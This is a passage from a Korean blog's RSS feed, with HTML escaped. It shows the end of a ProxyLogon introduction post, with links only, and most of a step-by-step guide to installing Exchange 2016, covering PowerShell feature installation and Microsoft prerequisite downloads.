&lt;p data-ke-size=&quot;size16&quot;&gt;여기서는 취약점 소개만 하고&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;설명은 다음 포스팅에서&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이어서 하겠습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 55px 10px 1px; border: solid rgba(0, 0, 0, 0.3);&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;관련 글&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://chmodi.tistory.com/153&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;2021.09.07 - [Study/CVE PoC Test] - Window Exchange ProxyLogon 취약점(CVE-2021-26855, CVE-2021-27065) - 소개&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://chmodi.tistory.com/154&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;2021.09.09 - [Study/CVE PoC Test] - Window Exchange ProxyLogon 취약점(CVE-2021-26855, CVE-2021-27065) - 분석&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://chmodi.tistory.com/157&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;2021.10.14 - [Study/CVE PoC Test] - Window Exchange ProxyLogon 취약점(CVE-2021-26855, CVE-2021-27065) - 취약점 조치&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 55px 10px 1px; border: solid rgba(0, 0, 0, 0.3);&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;- 참고 사이트&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://devco.re/blog/2021/08/06/a-new-attack-surface-on-MS-exchange-part-1-ProxyLogon/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://devco.re/blog/2021/08/06/a-new-attack-surface-on-MS-exchange-part-1-ProxyLogon/&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1630994603903&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;A New Attack Surface on MS Exchange Part 1 - ProxyLogon! | DEVCORE 戴夫寇爾&quot; data-og-description=&quot;ProxyLogon! The most severe and impactful vulnerability in the Exchange Server history ever.&quot; data-og-host=&quot;devco.re&quot; data-og-source-url=&quot;https://devco.re/blog/2021/08/06/a-new-attack-surface-on-MS-exchange-part-1-ProxyLogon/&quot; data-og-url=&quot;https://devco.re/blog/2021/08/06/a-new-attack-surface-on-MS-exchange-part-1-ProxyLogon/&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/cP068g/hyLwi8dy4y/fpQizK653XG93b89NpAk01/img.png?width=586&amp;amp;height=330&amp;amp;face=0_0_586_330&quot;&gt;&lt;a href=&quot;https://devco.re/blog/2021/08/06/a-new-attack-surface-on-MS-exchange-part-1-ProxyLogon/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://devco.re/blog/2021/08/06/a-new-attack-surface-on-MS-exchange-part-1-ProxyLogon/&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/cP068g/hyLwi8dy4y/fpQizK653XG93b89NpAk01/img.png?width=586&amp;amp;height=330&amp;amp;face=0_0_586_330');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;A New Attack Surface on MS Exchange Part 1 - ProxyLogon! | DEVCORE 戴夫寇爾&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;ProxyLogon! The most severe and impactful vulnerability in the Exchange Server history ever.&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;devco.re&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>Study/CVE PoC Test</category>
      <category>CVE-2021-26855</category>
      <category>CVE-2021-27065</category>
      <category>EXCHANGE</category>
      <category>Microsoft</category>
      <category>ProxyLogon</category>
      <category>취약점</category>
      <author>루딘이</author>
      <guid isPermaLink="true">https://chmodi.tistory.com/153</guid>
      <comments>https://chmodi.tistory.com/153#entry153comment</comments>
      <pubDate>Tue, 7 Sep 2021 15:08:01 +0900</pubDate>
    </item>
    <item>
      <title>[Windows Server 2016+AD+Exchange 2016] Exchange 2016 설치</title>
      <link>https://chmodi.tistory.com/152</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Exchange 용&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;관리 계정도 생성했으니,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;본격적으로&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Exchange 2016 설치를&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;진행합니다.&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border-bottom: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;필수 구성 요소 설치&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Exchange 2016 설치 전&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;구성요소들을 설치해야 합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;구성요소 설치:&lt;br /&gt;&lt;b&gt;1. Exchange 관리 계정으로 로그인&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;2. 필수 구성요소 설치(사서함 서버)&lt;/b&gt;&lt;br /&gt;&lt;b&gt;- 관리자 권한으로 PowerShell 실행 &amp;gt; 아래 명령어 입력&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&amp;gt; Install-WindowsFeature NET-Framework-45-Features, Server-Media-Foundation, RPC-over-HTTP-proxy, RSAT-Clustering, RSAT-Clustering-CmdInterface, RSAT-Clustering-Mgmt, RSAT-Clustering-PowerShell, WAS-Process-Model, Web-Asp-Net45, Web-Basic-Auth, Web-Client-Auth, Web-Digest-Auth, Web-Dir-Browsing, Web-Dyn-Compression, Web-Http-Errors, Web-Http-Logging, Web-Http-Redirect, Web-Http-Tracing, Web-ISAPI-Ext, Web-ISAPI-Filter, Web-Lgcy-Mgmt-Console, Web-Metabase, Web-Mgmt-Console, Web-Mgmt-Service, Web-Net-Ext45, Web-Request-Monitor, Web-Server, Web-Stat-Compression, Web-Static-Content, Web-Windows-Auth, Web-WMI, Windows-Identity-Foundation, RSAT-ADDS&lt;br /&gt;&lt;br /&gt;3. 필수 구성요소 설치(Edge 전송 서버, 옵션)&lt;/b&gt;&lt;br /&gt;&lt;b&gt;- 관리자 권한으로 PowerShell 실행 &amp;gt; 아래 명령어 입력&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&amp;gt; Install-WindowsFeature&amp;nbsp;ADLDS&lt;/b&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 55px 10px 1px; border: solid rgba(0, 0, 0, 0.3);&quot;&gt;&lt;b&gt;1. Exchange 관리 계정으로 로그인&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;서버 재부팅 후,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;생성된 계정으로&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;로그인합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;958&quot; data-origin-height=&quot;790&quot; data-filename=&quot;7.png&quot; width=&quot;500&quot; height=&quot;412&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bms7YZ/btrd0vfk2T9/fu81mEResmuoOAkZ0scfr1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bms7YZ/btrd0vfk2T9/fu81mEResmuoOAkZ0scfr1/img.png&quot; data-alt=&quot;새로 생성한 계정으로 로그인&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bms7YZ/btrd0vfk2T9/fu81mEResmuoOAkZ0scfr1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbms7YZ%2Fbtrd0vfk2T9%2Ffu81mEResmuoOAkZ0scfr1%2Fimg.png&quot; data-origin-width=&quot;958&quot; data-origin-height=&quot;790&quot; data-filename=&quot;7.png&quot; width=&quot;500&quot; height=&quot;412&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;새로 생성한 계정으로 로그인&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 55px 10px 1px; border: solid rgba(0, 0, 0, 0.3);&quot;&gt;&lt;b&gt;2. 필수 구성요소 설치(사서함 서버, 필수)&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;관리자 권한으로 PowerShell을 실행한 후,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래 명령어를 입력합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&lt;b&gt;&amp;gt; Install-WindowsFeature NET-Framework-45-Features, Server-Media-Foundation, RPC-over-HTTP-proxy, RSAT-Clustering, RSAT-Clustering-CmdInterface, RSAT-Clustering-Mgmt, RSAT-Clustering-PowerShell, WAS-Process-Model, Web-Asp-Net45, Web-Basic-Auth, Web-Client-Auth, Web-Digest-Auth, Web-Dir-Browsing, Web-Dyn-Compression, Web-Http-Errors, Web-Http-Logging, Web-Http-Redirect, Web-Http-Tracing, Web-ISAPI-Ext, Web-ISAPI-Filter, Web-Lgcy-Mgmt-Console, Web-Metabase, Web-Mgmt-Console, Web-Mgmt-Service, Web-Net-Ext45, Web-Request-Monitor, Web-Server, Web-Stat-Compression, Web-Static-Content, Web-Windows-Auth, Web-WMI, Windows-Identity-Foundation, RSAT-ADDS&lt;/b&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;956&quot; data-origin-height=&quot;746&quot; data-filename=&quot;1.png&quot; width=&quot;500&quot; height=&quot;390&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/boKd2E/btrd0GOdLeI/NpR4dNKIqyQayn6Xy9LSf1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/boKd2E/btrd0GOdLeI/NpR4dNKIqyQayn6Xy9LSf1/img.png&quot; data-alt=&quot;사서함 서버 구성요소 설치&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/boKd2E/btrd0GOdLeI/NpR4dNKIqyQayn6Xy9LSf1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FboKd2E%2Fbtrd0GOdLeI%2FNpR4dNKIqyQayn6Xy9LSf1%2Fimg.png&quot; data-origin-width=&quot;956&quot; data-origin-height=&quot;746&quot; data-filename=&quot;1.png&quot; width=&quot;500&quot; height=&quot;390&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;사서함 서버 구성요소 설치&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;859&quot; data-origin-height=&quot;270&quot; data-filename=&quot;2.png&quot; width=&quot;500&quot; height=&quot;157&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/NuzMV/btrd0vsFIVs/Uc0mY0cJRv9FBIWs08LNJ0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/NuzMV/btrd0vsFIVs/Uc0mY0cJRv9FBIWs08LNJ0/img.png&quot; data-alt=&quot;Success&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/NuzMV/btrd0vsFIVs/Uc0mY0cJRv9FBIWs08LNJ0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FNuzMV%2Fbtrd0vsFIVs%2FUc0mY0cJRv9FBIWs08LNJ0%2Fimg.png&quot; data-origin-width=&quot;859&quot; data-origin-height=&quot;270&quot; data-filename=&quot;2.png&quot; width=&quot;500&quot; height=&quot;157&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;Success&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다음 아래 소프트웨어들을&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;설치합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://download.visualstudio.microsoft.com/download/pr/014120d7-d689-4305-befd-3cb711108212/0fd66638cde16859462a6243a4629a50/ndp48-x86-x64-allos-enu.exe&quot; data-linktype=&quot;external&quot;&gt;.NET Framework 4.8&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://www.microsoft.com/download/details.aspx?id=30679&quot; data-linktype=&quot;external&quot;&gt;Visual Studio 2012용 Visual C++ Redistributable 패키지&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1630652098625&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;Download Visual C++ Redistributable for Visual Studio 2012 Update 4 from Official Microsoft Download Center&quot; data-og-description=&quot;Important! Selecting a language below will dynamically change the complete page content to that language. Chinese (Simplified)Chinese (Traditional)EnglishFrenchGermanItalianJapaneseKoreanRussianSpanish Download The Visual C++ Redistributable Packages insta&quot; data-og-host=&quot;www.microsoft.com&quot; data-og-source-url=&quot;https://www.microsoft.com/download/details.aspx?id=30679&quot; data-og-url=&quot;https://www.microsoft.com/en-us/download/details.aspx?id=30679&quot; data-og-image=&quot;&quot;&gt;&lt;a href=&quot;https://www.microsoft.com/download/details.aspx?id=30679&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://www.microsoft.com/download/details.aspx?id=30679&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url();&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;Download Visual C++ Redistributable for Visual Studio 2012 Update 4 from Official Microsoft Download Center&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;Important! Selecting a language below will dynamically change the complete page content to that language. Chinese (Simplified)Chinese (Traditional)EnglishFrenchGermanItalianJapaneseKoreanRussianSpanish Download The Visual C++ Redistributable Packages insta&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;www.microsoft.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #171717; color: #e6e6e6;&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;a href=&quot;https://support.microsoft.com/help/4032938&quot; data-linktype=&quot;external&quot;&gt;Visual Studio 2013용 Visual C++ Redistributable 패키지&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1630652111114&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;Update for Visual C++ 2013 Redistributable Package&quot; data-og-description=&quot;시간을 최대한 활용하기 위한 구독&quot; data-og-host=&quot;support.microsoft.com&quot; data-og-source-url=&quot;https://support.microsoft.com/help/4032938&quot; data-og-url=&quot;https://support.microsoft.com/ko-kr/topic/update-for-visual-c-2013-redistributable-package-d8ccd6a5-4e26-c290-517b-8da6cfdf4f10&quot; data-og-image=&quot;&quot;&gt;&lt;a href=&quot;https://support.microsoft.com/help/4032938&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://support.microsoft.com/help/4032938&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url();&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;Update for Visual C++ 2013 Redistributable Package&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;시간을 최대한 활용하기 위한 구독&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;support.microsoft.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://www.microsoft.com/download/details.aspx?id=34992&quot; data-linktype=&quot;external&quot;&gt;Microsoft UCMA(Unified Communications Managed API) 4.0, Core Runtime 64비트&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1630652974176&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;Download Unified Communications Managed API 4.0 Runtime from Official Microsoft Download Center&quot; data-og-description=&quot;Important! Selecting a language below will dynamically change the complete page content to that language. Chinese (Simplified)Chinese (Traditional)EnglishFrenchGermanItalianJapaneseKoreanPortuguese (Brazil)RussianSpanish Download Unified Communications Man&quot; data-og-host=&quot;www.microsoft.com&quot; data-og-source-url=&quot;https://www.microsoft.com/download/details.aspx?id=34992&quot; data-og-url=&quot;https://www.microsoft.com/en-us/download/details.aspx?id=34992&quot; data-og-image=&quot;&quot;&gt;&lt;a href=&quot;https://www.microsoft.com/download/details.aspx?id=34992&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://www.microsoft.com/download/details.aspx?id=34992&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url();&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;Download Unified Communications Managed API 4.0 Runtime from Official Microsoft Download Center&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;Important! Selecting a language below will dynamically change the complete page content to that language. Chinese (Simplified)Chinese (Traditional)EnglishFrenchGermanItalianJapaneseKoreanPortuguese (Brazil)RussianSpanish Download Unified Communications Man&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;www.microsoft.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 55px 10px 1px; border: solid rgba(0, 0, 0, 0.3);&quot;&gt;&lt;b&gt;3. 필수 구성요소 설치(Edge 전송 서버, 옵션)&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 글에서는&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Edge 전송 서버를&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;소개하지 않기 때문에&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;마이크로 소프트의&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;설치 가이드를&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;참고하겠습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사서함 서버와 다른 점은&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ADLDS를 추가 설치한다는 것 입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;600&quot; data-origin-height=&quot;647&quot; data-filename=&quot;3.png&quot; width=&quot;500&quot; height=&quot;539&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bavLKe/btrdT7094QR/vB3Us1W9rxktAqVMaHsVfK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bavLKe/btrdT7094QR/vB3Us1W9rxktAqVMaHsVfK/img.png&quot; data-alt=&quot;Edge 전송 서버 설치 안내&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bavLKe/btrdT7094QR/vB3Us1W9rxktAqVMaHsVfK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbavLKe%2FbtrdT7094QR%2FvB3Us1W9rxktAqVMaHsVfK%2Fimg.png&quot; data-origin-width=&quot;600&quot; data-origin-height=&quot;647&quot; data-filename=&quot;3.png&quot; width=&quot;500&quot; height=&quot;539&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;Edge 전송 서버 설치 안내&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
&lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
window.adsbygoogle.push({});
&lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border-bottom: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;드디어 설치&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;드디어&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Exchange 2016을 설치합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;Exchange 2016 설치:&lt;br /&gt;&lt;b&gt;1. 다운로드&lt;/b&gt;&lt;br /&gt;&lt;b&gt;- https://www.microsoft.com/en-us/download/details.aspx?id=103242&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;2. 설치&lt;br /&gt;- ISO 파일 삽입 &amp;gt; 아래 설정 유의하며 설치&lt;br /&gt;&amp;gt; 주요 설정:&amp;nbsp;&lt;br /&gt;* Don't check for updates right now&lt;br /&gt;* Don't use recommended settings&lt;br /&gt;* Mailbox role&lt;br /&gt;* Exchange Organization 이름 설정&lt;br /&gt;* Disable malware scanning: NO&lt;/b&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 55px 10px 1px; border: solid rgba(0, 0, 0, 0.3);&quot;&gt;&lt;b&gt;1. 다운로드&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;저는 다른 테스트를 위해&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;CU 19(Cumulative Update 19) 버전을&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;설치했으나,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래 주소에서&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;최신 업데이트가 적용된&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Exchange 2016 CU 21의 iso 파일을&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다운받을 수 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://www.microsoft.com/en-us/download/details.aspx?id=103242&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Download Cumulative Update 21 for Exchange Server 2016&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1630653516002&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;Download Cumulative Update 21 for Exchange Server 2016 (KB5003611) from Official Microsoft Download Center&quot; data-og-description=&quot;Important! Selecting a language below will dynamically change the complete page content to that language. Chinese (Simplified)Chinese (Traditional)EnglishFrenchGermanItalianJapaneseKoreanPortuguese (Brazil)RussianSpanish Download Cumulative Update 21 for E&quot; data-og-host=&quot;www.microsoft.com&quot; data-og-source-url=&quot;https://www.microsoft.com/en-us/download/details.aspx?id=103242&quot; data-og-url=&quot;https://www.microsoft.com/en-us/download/details.aspx?id=103242&quot; data-og-image=&quot;&quot;&gt;&lt;a 